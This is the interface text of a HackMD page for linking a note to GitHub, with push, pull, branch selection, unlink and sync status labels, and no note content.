        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully